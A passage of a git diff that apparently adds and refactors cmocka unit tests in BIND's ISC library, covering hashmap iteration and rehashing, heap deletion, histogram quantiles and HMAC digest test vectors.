+		isc_hashmap_iter_current(iter, (void *)&v);
+		isc_hashmap_iter_currentkey(iter, &tkey, &tksize);
+		assert_int_equal(tksize, 16);
+
+		i = v - &nodes[0];
+
+		snprintf(key, 16, "%u", (unsigned int)i);
+		strlcat(key, " key of a raw hashmap!!", 16);
+
+		assert_memory_equal(key, tkey, 16);
+
+		walked++;
+	}
+	assert_int_equal(walked, count);
+	assert_int_equal(result, ISC_R_NOMORE);
+
+	/* erase odd */
+	walked = 0;
+	result = isc_hashmap_iter_first(iter);
+	while (result == ISC_R_SUCCESS) {
+		char key[16] = { 0 };
+		ptrdiff_t i;
+		const uint8_t *tkey = NULL;
+		test_node_t *v = NULL;
+
+		isc_hashmap_iter_current(iter, (void *)&v);
+		isc_hashmap_iter_currentkey(iter, &tkey, &tksize);
+		assert_int_equal(tksize, 16);
+
+		i = v - nodes;
+		snprintf(key, 16, "%u", (unsigned int)i);
+		strlcat(key, " key of a raw hashmap!!", 16);
+		assert_memory_equal(key, tkey, 16);
+
+		if (i % 2 == 0) {
+			result = isc_hashmap_iter_delcurrent_next(iter);
+		} else {
+			result = isc_hashmap_iter_next(iter);
+		}
+		walked++;
+	}
+	assert_int_equal(result, ISC_R_NOMORE);
+	assert_int_equal(walked, count);
+
+	/* erase even */
+	walked = 0;
+	result = isc_hashmap_iter_first(iter);
+	while (result == ISC_R_SUCCESS) {
+		char key[16] = { 0 };
+		ptrdiff_t i;
+		const uint8_t *tkey = NULL;
+		test_node_t *v = NULL;
+
+		isc_hashmap_iter_current(iter, (void *)&v);
+		isc_hashmap_iter_currentkey(iter, &tkey, &tksize);
+		assert_int_equal(tksize, 16);
+
+		i = v - nodes;
+		snprintf(key, 16, "%u", (unsigned int)i);
+		strlcat(key, " key of a raw hashmap!!", 16);
+		assert_memory_equal(key, tkey, 16);
+
+		if (i % 2 == 1) {
+			result = isc_hashmap_iter_delcurrent_next(iter);
+		} else {
+			result = isc_hashmap_iter_next(iter);
+		}
+		walked++;
+	}
+	assert_int_equal(result, ISC_R_NOMORE);
+	assert_int_equal(walked, count / 2);
+
+	walked = 0;
+	for (result = isc_hashmap_iter_first(iter); result == ISC_R_SUCCESS;
+	     result = isc_hashmap_iter_next(iter))
+	{
+		walked++;
+	}
+
+	assert_int_equal(result, ISC_R_NOMORE);
+	assert_int_equal(walked, 0);
+
+	/* Iterator doesn't progress rehashing */
+	assert_true(rehashing_in_progress(hashmap));
+
+	isc_hashmap_iter_destroy(&iter);
+	assert_null(iter);
+
+	isc_hashmap_destroy(&hashmap);
+	assert_null(hashmap);
+
+	isc_mem_cput(mctx, nodes, count, sizeof(nodes[0]));
+}
+
+/* 1 bit, 120 elements test, full rehashing */
+ISC_RUN_TEST_IMPL(isc_hashmap_1_120) {
+	test_hashmap_full(1, 120);
+	return;
+}
+
+/* 6 bit, 1000 elements test, full rehashing */
+ISC_RUN_TEST_IMPL(isc_hashmap_6_1000) {
+	test_hashmap_full(6, 1000);
+	return;
+}
+
+/* 24 bit, 200K elements test, no rehashing */
+ISC_RUN_TEST_IMPL(isc_hashmap_24_200000) {
+	test_hashmap_full(24, 200000);
+	return;
+}
+
+/* 15 bit, 45K elements test, full rehashing */
+ISC_RUN_TEST_IMPL(isc_hashmap_1_48000) {
+	test_hashmap_full(1, 48000);
+	return;
+}
+
+/* 8 bit, 20k elements test, partial rehashing */
+ISC_RUN_TEST_IMPL(isc_hashmap_8_20000) {
+	test_hashmap_full(8, 20000);
+	return;
+}
+
+/* test hashmap iterator */
+
+ISC_RUN_TEST_IMPL(isc_hashmap_iterator) {
+	test_hashmap_iterator();
+	return;
+}
+
+ISC_RUN_TEST_IMPL(isc_hashmap_hash_zero_length) {
+	isc_hashmap_t *hashmap = NULL;
+	uint32_t hashval;
+	bool again = false;
+
+again:
+	isc_hashmap_create(mctx, 1, ISC_HASHMAP_CASE_SENSITIVE, &hashmap);
+
+	hashval = isc_hashmap_hash(hashmap, "", 0);
+
+	isc_hashmap_destroy(&hashmap);
+
+	if (hashval == 0 && !again) {
+		/*
+		 * We could be extremely unlock and the siphash could hash the
+		 * zero length string to 0, so try one more time.
+		 */
+		again = true;
+		goto again;
+	}
+
+	assert_int_not_equal(hashval, 0);
+}
+
+ISC_RUN_TEST_IMPL(isc_hashmap_case) {
+	isc_result_t result;
+	isc_hashmap_t *hashmap = NULL;
+	test_node_t lower = { .key = "isc_hashmap_case" };
+	test_node_t upper = { .key = "ISC_HASHMAP_CASE" };
+	test_node_t mixed = { .key = "IsC_hAsHmAp_CaSe" };
+
+	isc_hashmap_create(mctx, 1, ISC_HASHMAP_CASE_SENSITIVE, &hashmap);
+
+	result = isc_hashmap_add(hashmap, NULL, lower.key, strlen(lower.key),
+				 &lower);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_hashmap_add(hashmap, NULL, lower.key, strlen(lower.key),
+				 &lower);
+	assert_int_equal(result, ISC_R_EXISTS);
+
+	result = isc_hashmap_add(hashmap, NULL, upper.key, strlen(upper.key),
+				 &upper);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_hashmap_find(hashmap, NULL, mixed.key, strlen(mixed.key),
+				  &(void *){ NULL });
+	assert_int_equal(result, ISC_R_NOTFOUND);
+
+	isc_hashmap_destroy(&hashmap);
+
+	isc_hashmap_create(mctx, 1, ISC_HASHMAP_CASE_INSENSITIVE, &hashmap);
+
+	result = isc_hashmap_add(hashmap, NULL, lower.key, strlen(lower.key),
+				 &lower);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_hashmap_add(hashmap, NULL, lower.key, strlen(lower.key),
+				 &lower);
+	assert_int_equal(result, ISC_R_EXISTS);
+
+	result = isc_hashmap_add(hashmap, NULL, upper.key, strlen(upper.key),
+				 &upper);
+	assert_int_equal(result, ISC_R_EXISTS);
+
+	result = isc_hashmap_find(hashmap, NULL, mixed.key, strlen(mixed.key),
+				  &(void *){ NULL });
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_hashmap_destroy(&hashmap);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(isc_hashmap_hash_zero_length)
+ISC_TEST_ENTRY(isc_hashmap_case)
+ISC_TEST_ENTRY(isc_hashmap_1_120)
+ISC_TEST_ENTRY(isc_hashmap_6_1000)
+ISC_TEST_ENTRY(isc_hashmap_24_200000)
+ISC_TEST_ENTRY(isc_hashmap_1_48000)
+ISC_TEST_ENTRY(isc_hashmap_8_20000)
+ISC_TEST_ENTRY(isc_hashmap_iterator)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/heap_test.c b/tests/isc/heap_test.c
new file mode 100644
index 0000000000..19e3ba5a8c
--- /dev/null
+++ b/tests/isc/heap_test.c
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/* ! \file */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/heap.h>
+#include <isc/mem.h>
+#include <isc/util.h>
+
+#include <tests/isc.h>
+
+struct e {
+	unsigned int value;
+	unsigned int index;
+};
+
+static bool
+compare(void *p1, void *p2) {
+	struct e *e1 = p1;
+	struct e *e2 = p2;
+
+	return (e1->value < e2->value);
+}
+
+static void
+idx(void *p, unsigned int i) {
+	struct e *e = p;
+
+	e->index = i;
+}
+
+/* test isc_heap_delete() */
+ISC_RUN_TEST_IMPL(isc_heap_delete) {
+	isc_heap_t *heap = NULL;
+	struct e e1 = { 100, 0 };
+
+	UNUSED(state);
+
+	isc_heap_create(mctx, compare, idx, 0, &heap);
+	assert_non_null(heap);
+
+	isc_heap_insert(heap, &e1);
+	assert_int_equal(e1.index, 1);
+
+	isc_heap_delete(heap, e1.index);
+	assert_int_equal(e1.index, 0);
+
+	isc_heap_destroy(&heap);
+	assert_null(heap);
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(isc_heap_delete)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/histo_test.c b/tests/isc/histo_test.c
new file mode 100644
index 0000000000..8f905120b5
--- /dev/null
+++ b/tests/isc/histo_test.c
@@ -0,0 +1,358 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/* ! \file */
+
+#include <inttypes.h>
+#include <math.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/histo.h>
+#include <isc/result.h>
+#include <isc/time.h>
+
+#include <tests/isc.h>
+
+#define TIME_LIMIT (123 * NS_PER_MS)
+
+#define SUBRANGE 69
+
+#if VERBOSE
+
+#define TRACE(fmt, ...)                                                        \
+	fprintf(stderr, "%s:%u:%s(): " fmt "\n", __FILE__, __LINE__, __func__, \
+		__VA_ARGS__)
+
+#define TRACETIME(fmt, ...) \
+	TRACE("%u bits %.1f ms " fmt, bits, millis_since(start), ##__VA_ARGS__)
+
+static double
+millis_since(isc_nanosecs_t start) {
+	isc_nanosecs_t end = isc_time_monotonic();
+	return ((double)(end - start) / NS_PER_MS);
+}
+
+#else
+#define TRACE(...)
+#define TRACETIME(...) UNUSED(start)
+#endif
+
+/*
+ * Note: in many of these tests when adding data to a histogram,
+ * we need to iterate using `key++` instead of `isc_histo_next()`
+ * because the latter skips chunks that we want to fill but have
+ * not yet done so.
+ */
+
+ISC_RUN_TEST_IMPL(basics) {
+	isc_result_t result;
+	for (uint bits = ISC_HISTO_MINBITS; bits <= ISC_HISTO_MAXBITS; bits++) {
+		isc_nanosecs_t start = isc_time_monotonic();
+
+		isc_histo_t *hg = NULL;
+		isc_histo_create(mctx, bits, &hg);
+
+		isc_histo_inc(hg, 0);
+
+		uint64_t min, max, count;
+
+		uint64_t prev_max = 0;
+		uint key = 0;
+		result = isc_histo_get(hg, key, &min, &max, &count);
+		while (result == ISC_R_SUCCESS) {
+			/* previous iteration already bumped this bucket */
+			assert_int_equal(count, 1);
+
+			/* min maps to this bucket */
+			isc_histo_inc(hg, min);
+			result = isc_histo_get(hg, key, &min, &max, &count);
+			assert_int_equal(result, ISC_R_SUCCESS);
+			assert_int_equal(count, 2);
+
+			/* max maps to this bucket */
+			isc_histo_add(hg, max, 2);
+			result = isc_histo_get(hg, key, &min, &max, &count);
+			assert_int_equal(result, ISC_R_SUCCESS);
+			assert_int_equal(count, 4);
+
+			/* put range covers this bucket */
+			isc_histo_put(hg, min, max, 4);
+			result = isc_histo_get(hg, key, &min, &max, &count);
+			assert_int_equal(result, ISC_R_SUCCESS);
+			assert_int_equal(count, 8);
+
+			if (max < UINT64_MAX) {
+				/* max + 1 maps to next bucket */
+				isc_histo_inc(hg, max + 1);
+				result = isc_histo_get(hg, key, &min, &max,
+						       &count);
+				assert_int_equal(result, ISC_R_SUCCESS);
+				/* this bucket was not bumped */
+				assert_int_equal(count, 8);
+			}
+
+			if (key == 0) {
+				assert_int_equal(min, 0);
+				assert_int_equal(max, 0);
+			} else {
+				/* no gap between buckets */
+				assert_int_equal(min, prev_max + 1);
+			}
+
+			prev_max = max;
+			key++;
+			result = isc_histo_get(hg, key, &min, &max, &count);
+
+			/* these tests can be slow */
+			if (isc_time_monotonic() > start + TIME_LIMIT) {
+				break;
+			}
+		}
+
+		/* if we did not stop early */
+		if (result != ISC_R_SUCCESS) {
+			/* last bucket goes up to last possible value */
+			assert_int_equal(max, UINT64_MAX);
+
+			double pop;
+			isc_histo_moments(hg, &pop, NULL, NULL);
+			assert_int_equal((uint64_t)pop, key * 8);
+		}
+
+		isc_histo_destroy(&hg);
+
+		TRACETIME("%u keys", key);
+	}
+}
+
+ISC_RUN_TEST_IMPL(quantiles) {
+	for (uint bits = ISC_HISTO_MINBITS; bits <= ISC_HISTO_MAXBITS; bits++) {
+		isc_result_t result;
+		uint64_t min, max, count;
+		double pop, mean, sd;
+		uint key;
+
+		isc_nanosecs_t start = isc_time_monotonic();
+
+		isc_histo_t *hg = NULL;
+		isc_histo_create(mctx, bits, &hg);
+
+		/* ensure empty histogram does not divide by zero */
+		isc_histo_moments(hg, &pop, &mean, &sd);
+		assert_true(pop == 0.0);
+		assert_true(mean == 0.0);
+		assert_true(sd == 0.0);
+
+		for (key = 0; isc_histo_get(hg, key, &min, &max, &count) ==
+			      ISC_R_SUCCESS;
+		     key++)
+		{
+			/* inc twice so we can check bucket's midpoint */
+			assert_int_equal(count, 0);
+			isc_histo_inc(hg, min);
+			isc_histo_inc(hg, max);
+		}
+
+		const uint buckets = key;
+
+		/* no incs were lost */
+		isc_histo_moments(hg, &pop, NULL, NULL);
+		assert_float_equal(pop, buckets * 2, 0.5);
+
+		/* two ranks per bucket */
+		const uint quantum = ISC_HISTO_MAXQUANTILES / 2 - 1;
+		uint64_t value[ISC_HISTO_MAXQUANTILES];
+		double frac[ISC_HISTO_MAXQUANTILES];
+		uint base = 0;
+
+		for (key = 0; key < buckets; key++) {
+			/* fill in the values one quantum at a time */
+			if (key == 0 || key % quantum == buckets % quantum) {
+				base = key;
+				for (uint k = 0; k < quantum; k++) {
+					double rank = (base + k) * 2;
+					uint i = (quantum - k) * 2;
+					frac[i - 1] = (rank + 1.0) / pop;
+					frac[i - 0] = rank / pop;
+				}
+				frac[0] = (base + quantum) * 2 / pop;
+				result = isc_histo_quantiles(
+					hg, quantum * 2 + 1, frac, value);
+				assert_int_equal(result, ISC_R_SUCCESS);
+			}
+
+			result = isc_histo_get(hg, key, &min, &max, &count);
+			assert_int_equal(result, ISC_R_SUCCESS);
+			assert_int_equal(count, 2);
+
+			uint64_t lomin = min == 0 ? min : min - 1;
+			uint64_t himin = min;
+			uint64_t lomid = floor(min / 2.0 + max / 2.0);
+			uint64_t himid = ceil(min / 2.0 + max / 2.0);
+			uint64_t lomax = max;
+			uint64_t himax = max == UINT64_MAX ? max : max + 1;
+
+			uint i = (quantum + base - key) * 2;
+
+			/* check fenceposts */
+			assert_in_range(value[i - 0], lomin, himin);
+			assert_in_range(value[i - 1], lomid, himid);
+			assert_in_range(value[i - 2], lomax, himax);
+
+			/* these tests can be slow */
+			if (isc_time_monotonic() > start + TIME_LIMIT) {
+				break;
+			}
+		}
+
+		isc_histo_destroy(&hg);
+
+		TRACETIME("");
+	}
+}
+
+/*
+ * ensure relative error is as expected
+ */
+ISC_RUN_TEST_IMPL(sigfigs) {
+	assert_int_equal(ISC_HISTO_MINBITS,
+			 isc_histo_digits_to_bits(ISC_HISTO_MINDIGITS));
+	assert_int_equal(ISC_HISTO_MINDIGITS,
+			 isc_histo_bits_to_digits(ISC_HISTO_MINBITS));
+	assert_int_equal(ISC_HISTO_MAXBITS,
+			 isc_histo_digits_to_bits(ISC_HISTO_MAXDIGITS));
+	assert_int_equal(ISC_HISTO_MAXDIGITS,
+			 isc_histo_bits_to_digits(ISC_HISTO_MAXBITS));
+
+	uint log10 = 1;
+	double exp10 = 1.0; /* sigdigs == 1 gives relative error of 1 */
+
+	for (uint bits = ISC_HISTO_MINBITS; bits <= ISC_HISTO_MAXBITS; bits++) {
+		isc_histo_t *hg = NULL;
+		isc_histo_create(mctx, bits, &hg);
+
+		uint digits = isc_histo_bits_to_digits(bits);
+		assert_true(bits >= isc_histo_digits_to_bits(digits));
+
+		if (log10 < digits) {
+			log10 += 1;
+			exp10 *= 10.0;
+			assert_int_equal(log10, digits);
+		}
+
+		TRACE("%u binary %f decimal", 1 << bits, exp10);
+
+		/* binary precision is better than decimal precision */
+		double nominal = 1.0 / (double)(1 << bits);
+		assert_true(nominal < 1.0 / exp10);
+
+		/* start with key = 1 to avoid division by zero */
+		uint64_t imin, imax;
+		for (uint key = 1; isc_histo_get(hg, key, &imin, &imax, NULL) ==
+				   ISC_R_SUCCESS;
+		     key++)
+		{
+			double min = (double)imin;
+			double max = (double)imax;
+			double error = (max - min) / (max + min);
+			assert_true(error < nominal);
+		}
+
+		isc_histo_destroy(&hg);
+	}
+}
+
+ISC_RUN_TEST_IMPL(subrange) {
+	for (uint bits = ISC_HISTO_MINBITS; bits <= ISC_HISTO_MAXBITS; bits++) {
+		isc_result_t result;
+		uint64_t min, max, count;
+
+		isc_nanosecs_t start = isc_time_monotonic();
+
+		isc_histo_t *hg = NULL;
+		isc_histo_create(mctx, bits, &hg);
+
+		uint64_t value[SUBRANGE + 1];
+		double frac[SUBRANGE + 1];
+		for (uint i = 0; i <= SUBRANGE; i++) {
+			frac[i] = (double)(SUBRANGE - i) / (double)(SUBRANGE);
+		}
+
+		result = isc_histo_quantiles(hg, ARRAY_SIZE(frac), frac, value);
+		assert_int_equal(result, ISC_R_UNSET);
+
+		for (uint key = 0, top = SUBRANGE - 1;; key++, top++) {
+			if (isc_histo_get(hg, key, &min, NULL, NULL) !=
+			    ISC_R_SUCCESS)
+			{
+				break;
+			}
+			if (isc_histo_get(hg, top, NULL, &max, NULL) !=
+			    ISC_R_SUCCESS)
+			{
+				break;
+			}
+			/*
+			 * If we try adding more than one sample per bucket
+			 * here, the test fails when buckets have different
+			 * sizes because [min,max] spans multiple chunks.
+			 */
+			isc_histo_put(hg, min, max, SUBRANGE);
+
+			result = isc_histo_quantiles(hg, ARRAY_SIZE(frac), frac,
+						     value);
+			assert_int_equal(result, ISC_R_SUCCESS);
+
+			for (uint bucket = 0; bucket < SUBRANGE; bucket++) {
+				result = isc_histo_get(hg, key + bucket, &min,
+						       &max, &count);
+				assert_int_equal(result, ISC_R_SUCCESS);
+				/* did isc_histo_put() spread evenly? */
+				assert_int_equal(count, 1);
+				/* do the quantile values match? */
+				assert_int_equal(value[SUBRANGE - bucket], min);
+			}
+			assert_int_equal(value[0], max);
+
+			isc_histo_destroy(&hg);
+			isc_histo_create(mctx, bits, &hg);
+
+			/* these tests can be slow */
+			if (isc_time_monotonic() > start + TIME_LIMIT) {
+				break;
+			}
+		}
+		isc_histo_destroy(&hg);
+
+		TRACETIME("");
+	}
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY(basics)
+ISC_TEST_ENTRY(quantiles)
+ISC_TEST_ENTRY(sigfigs)
+ISC_TEST_ENTRY(subrange)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/lib/isc/tests/hmac_test.c b/tests/isc/hmac_test.c
similarity index 92%
rename from lib/isc/tests/hmac_test.c
rename to tests/isc/hmac_test.c
index cfd3ae3c9b..69b2da036f 100644
--- a/lib/isc/tests/hmac_test.c
+++ b/tests/isc/hmac_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,8 +13,7 @@
 
 /* ! \file */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
 #include <stdarg.h>
@@ -20,16 +21,26 @@
 #include <stdlib.h>
 #include <string.h>
 
+/*
+ * As a workaround, include an OpenSSL header file before including cmocka.h,
+ * because OpenSSL 3.1.0 uses __attribute__(malloc), conflicting with a
+ * redefined malloc in cmocka.h.
+ */
+#include <openssl/err.h>
+
 #define UNIT_TESTING
 #include <cmocka.h>
 
 #include <isc/buffer.h>
+#include <isc/fips.h>
 #include <isc/hex.h>
 #include <isc/hmac.h>
 #include <isc/region.h>
 #include <isc/result.h>
 
-#include "../hmac.c"
+#include "hmac.c"
+
+#include <tests/isc.h>
 
 #define TEST_INPUT(x) (x), sizeof(x) - 1
 
@@ -63,8 +74,7 @@ _reset(void **state) {
 	return (0);
 }
 
-static void
-isc_hmac_new_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_hmac_new) {
 	UNUSED(state);
 
 	isc_hmac_t *hmac = isc_hmac_new();
@@ -72,8 +82,7 @@ isc_hmac_new_test(void **state) {
 	isc_hmac_free(hmac); /* Cleanup */
 }
 
-static void
-isc_hmac_free_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_hmac_free) {
 	UNUSED(state);
 
 	isc_hmac_t *hmac = isc_hmac_new();
@@ -85,13 +94,13 @@ isc_hmac_free_test(void **state) {
 static void
 isc_hmac_test(isc_hmac_t *hmac, const void *key, size_t keylen,
 	      const isc_md_type_t *type, const char *buf, size_t buflen,
-	      const char *result, const int repeats) {
+	      const char *result, const size_t repeats) {
+	isc_result_t res;
+
 	assert_non_null(hmac);
 	assert_int_equal(isc_hmac_init(hmac, key, keylen, type), ISC_R_SUCCESS);
 
-	int i;
-
-	for (i = 0; i < repeats; i++) {
+	for (size_t i = 0; i < repeats; i++) {
 		assert_int_equal(isc_hmac_update(hmac,
 						 (const unsigned char *)buf,
 						 buflen),
@@ -99,7 +108,7 @@ isc_hmac_test(isc_hmac_t *hmac, const void *key, size_t keylen,
 	}
 
 	unsigned char digest[ISC_MAX_MD_SIZE];
-	unsigned int digestlen;
+	unsigned int digestlen = sizeof(digest);
 	assert_int_equal(isc_hmac_final(hmac, digest, &digestlen),
 			 ISC_R_SUCCESS);
 
@@ -108,26 +117,30 @@ isc_hmac_test(isc_hmac_t *hmac, const void *key, size_t keylen,
 	isc_buffer_t b;
 	isc_buffer_init(&b, hexdigest, sizeof(hexdigest));
 
-	assert_return_code(isc_hex_totext(&r, 0, "", &b), ISC_R_SUCCESS);
+	res = isc_hex_totext(&r, 0, "", &b);
+
+	assert_return_code(res, ISC_R_SUCCESS);
 
 	assert_memory_equal(hexdigest, result, (result ? strlen(result) : 0));
 	assert_int_equal(isc_hmac_reset(hmac), ISC_R_SUCCESS);
 }
 
-static void
-isc_hmac_init_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_hmac_init) {
 	isc_hmac_t *hmac = *state;
 	assert_non_null(hmac);
 
-	expect_assert_failure(isc_hmac_init(NULL, "", 0, ISC_MD_MD5));
-
 	assert_int_equal(isc_hmac_init(hmac, "", 0, NULL),
 			 ISC_R_NOTIMPLEMENTED);
 
-	expect_assert_failure(isc_hmac_init(hmac, NULL, 0, ISC_MD_MD5));
+	if (!isc_fips_mode()) {
+		expect_assert_failure(isc_hmac_init(NULL, "", 0, ISC_MD_MD5));
 
-	assert_int_equal(isc_hmac_init(hmac, "", 0, ISC_MD_MD5), ISC_R_SUCCESS);
-	assert_int_equal(isc_hmac_reset(hmac), ISC_R_SUCCESS);
+		expect_assert_failure(isc_hmac_init(hmac, NULL, 0, ISC_MD_MD5));
+
+		assert_int_equal(isc_hmac_init(hmac, "", 0, ISC_MD_MD5),
+				 ISC_R_SUCCESS);
+		assert_int_equal(isc_hmac_reset(hmac), ISC_R_SUCCESS);
+	}
 
 	assert_int_equal(isc_hmac_init(hmac, "", 0, ISC_MD_SHA1),
 			 ISC_R_SUCCESS);
@@ -150,8 +163,7 @@ isc_hmac_init_test(void **state) {
 	assert_int_equal(isc_hmac_reset(hmac), ISC_R_SUCCESS);
 }
 
-static void
-isc_hmac_update_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_hmac_update) {
 	isc_hmac_t *hmac = *state;
 	assert_non_null(hmac);
 
@@ -163,12 +175,11 @@ isc_hmac_update_test(void **state) {
 			 ISC_R_SUCCESS);
 }
 
-static void
-isc_hmac_reset_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_hmac_reset) {
 	isc_hmac_t *hmac = *state;
 #if 0
-	unsigned char digest[ISC_MAX_MD_SIZE] __attribute((unused));
-	unsigned int digestlen __attribute((unused));
+	unsigned char digest[ISC_MAX_MD_SIZE] ISC_ATTR_UNUSED;
+	unsigned int digestlen ISC_ATTR_UNUSED;
 #endif /* if 0 */
 
 	assert_non_null(hmac);
@@ -188,17 +199,16 @@ isc_hmac_reset_test(void **state) {
 	 * so this could be only manually checked that the test will
 	 * segfault when called by hand
 	 */
-	expect_assert_failure(isc_hmac_final(hmac,digest,&digestlen));
+	expect_assert_failure(isc_hmac_final(hmac, digest, &digestlen));
 #endif /* if 0 */
 }
 
-static void
-isc_hmac_final_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_hmac_final) {
 	isc_hmac_t *hmac = *state;
 	assert_non_null(hmac);
 
 	unsigned char digest[ISC_MAX_MD_SIZE];
-	unsigned int digestlen;
+	unsigned int digestlen = sizeof(digest);
 
 	/* Fail when message digest context is empty */
 	expect_assert_failure(isc_hmac_final(NULL, digest, &digestlen));
@@ -207,13 +217,18 @@ isc_hmac_final_test(void **state) {
 
 	assert_int_equal(isc_hmac_init(hmac, "", 0, ISC_MD_SHA512),
 			 ISC_R_SUCCESS);
-	assert_int_equal(isc_hmac_final(hmac, digest, NULL), ISC_R_SUCCESS);
+	/* Fail when the digest length pointer is empty */
+	expect_assert_failure(isc_hmac_final(hmac, digest, NULL));
 }
 
-static void
-isc_hmac_md5_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_hmac_md5) {
 	isc_hmac_t *hmac = *state;
 
+	if (isc_fips_mode()) {
+		skip();
+		return;
+	}
+
 	/* Test 0 */
 	isc_hmac_test(hmac, TEST_INPUT(""), ISC_MD_MD5, TEST_INPUT(""),
 		      "74E6F7298A9C2D168935F58C001BAD88", 1);
@@ -308,8 +323,7 @@ isc_hmac_md5_test(void **state) {
 #endif /* if 0 */
 }
 
-static void
-isc_hmac_sha1_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_hmac_sha1) {
 	isc_hmac_t *hmac = *state;
 
 	/* Test 0 */
@@ -392,8 +406,7 @@ isc_hmac_sha1_test(void **state) {
 		      "E8E99D0F45237D786D6BBAA7965C7808BBFF1A91", 1);
 }
 
-static void
-isc_hmac_sha224_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_hmac_sha224) {
 	isc_hmac_t *hmac = *state;
 
 	/* Test 0 */
@@ -516,8 +529,7 @@ isc_hmac_sha224_test(void **state) {
 		      1);
 }
 
-static void
-isc_hmac_sha256_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_hmac_sha256) {
 	isc_hmac_t *hmac = *state;
 
 	/* Test 0 */
@@ -640,8 +652,7 @@ isc_hmac_sha256_test(void **state) {
 		      1);
 }
 
-static void
-isc_hmac_sha384_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_hmac_sha384) {
 	isc_hmac_t *hmac = *state;
 
 	/* Test 0 */
@@ -770,8 +781,7 @@ isc_hmac_sha384_test(void **state) {
 		      1);
 }
 
-static void
-isc_hmac_sha512_test(void **state) {
+ISC_RUN_TEST_IMPL(isc_hmac_sha512) {
 	isc_hmac_t *hmac = *state;
 
 	/* Test 0 */
@@ -901,47 +911,25 @@ isc_hmac_sha512_test(void **state) {
 		      1);
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		/* isc_hmac_new() */
-		cmocka_unit_test(isc_hmac_new_test),
-
-		/* isc_hmac_init() */
-		cmocka_unit_test_setup_teardown(isc_hmac_init_test, _reset,
-						_reset),
-
-		/* isc_hmac_reset() */
-		cmocka_unit_test_setup_teardown(isc_hmac_reset_test, _reset,
-						_reset),
-
-		/* isc_hmac_init() -> isc_hmac_update() -> isc_hmac_final() */
-		cmocka_unit_test(isc_hmac_md5_test),
-		cmocka_unit_test(isc_hmac_sha1_test),
-		cmocka_unit_test(isc_hmac_sha224_test),
-		cmocka_unit_test(isc_hmac_sha256_test),
-		cmocka_unit_test(isc_hmac_sha384_test),
-		cmocka_unit_test(isc_hmac_sha512_test),
-
-		cmocka_unit_test_setup_teardown(isc_hmac_update_test, _reset,
-						_reset),
-		cmocka_unit_test_setup_teardown(isc_hmac_final_test, _reset,
-						_reset),
-
-		cmocka_unit_test(isc_hmac_free_test),
-	};
-
-	return (cmocka_run_group_tests(tests, _setup, _teardown));
-}
+ISC_TEST_LIST_START
 
-#else /* HAVE_CMOCKA */
+ISC_TEST_ENTRY(isc_hmac_new)
+ISC_TEST_ENTRY_CUSTOM(isc_hmac_init, _reset, _reset)
 
-#include <stdio.h>
+ISC_TEST_ENTRY_CUSTOM(isc_hmac_reset, _reset, _reset)
 
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_ENTRY(isc_hmac_md5)
+ISC_TEST_ENTRY(isc_hmac_sha1)
+ISC_TEST_ENTRY(isc_hmac_sha224)
+ISC_TEST_ENTRY(isc_hmac_sha256)
+ISC_TEST_ENTRY(isc_hmac_sha384)
+ISC_TEST_ENTRY(isc_hmac_sha512)
+
+ISC_TEST_ENTRY_CUSTOM(isc_hmac_update, _reset, _reset)
+ISC_TEST_ENTRY_CUSTOM(isc_hmac_final, _reset, _reset)
+
+ISC_TEST_ENTRY(isc_hmac_free)
+
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
